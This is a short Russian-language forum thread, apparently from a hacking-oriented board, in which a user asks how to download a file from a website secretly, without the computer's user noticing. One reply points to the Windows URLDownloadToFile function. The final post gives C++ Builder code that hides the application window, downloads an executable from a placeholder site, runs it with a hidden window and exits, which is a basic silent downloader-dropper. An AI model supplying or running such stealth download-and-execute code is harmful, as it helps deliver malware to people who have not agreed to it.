Скачивание файла с сайта [BAT/C++]

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by Indev, 13 Apr 2012.

  1. Indev

    Indev New Member

    Joined:
    23 Dec 2011
    Messages:
    59
    Likes Received:
    3
    Reputations:
    0
    В папке с сайтом лежит файл file.txt, необходимо скачать его скрыто от пользователя.

    Забыл сказать, если реализация в CMD, то утилита должна быть стандартной (без установки)
     
    #1 Indev, 13 Apr 2012
    Last edited by a moderator: 13 Apr 2012
  2. Faost

    Faost New Member

    Joined:
    11 Jul 2009
    Messages:
    18
    Likes Received:
    3
    Reputations:
    0
    URLDownloadToFile
    msdn.microsoft.com/en-us/library/ms775123(v=vs.85).aspx
     
  3. Indev

    Indev New Member

    Joined:
    23 Dec 2011
    Messages:
    59
    Likes Received:
    3
    Reputations:
    0
    Если не сложно, поясните параметры пожалуйста...
     
  4. ree4

    ree4 New Member

    Joined:
    9 Mar 2011
    Messages:
    28
    Likes Received:
    2
    Reputations:
    0
    C++

    Code:
    Application->ShowMainForm = false;
    
    	AnsiString FileName = "FileName.exe";
    	AnsiString Url = "http://site.ru/FileName.exe";
    	TFileStream* fs = new TFileStream(FileName, fmCreate | fmOpenWrite);
    	IdHTTP1->Get(Url, fs);
    	delete fs;
    
    	ShellExecute(0,0,"FileName.exe",0,0,0);
    	Application->Terminate();
     
    #4 ree4, 16 Apr 2012
    Last edited: 17 Apr 2012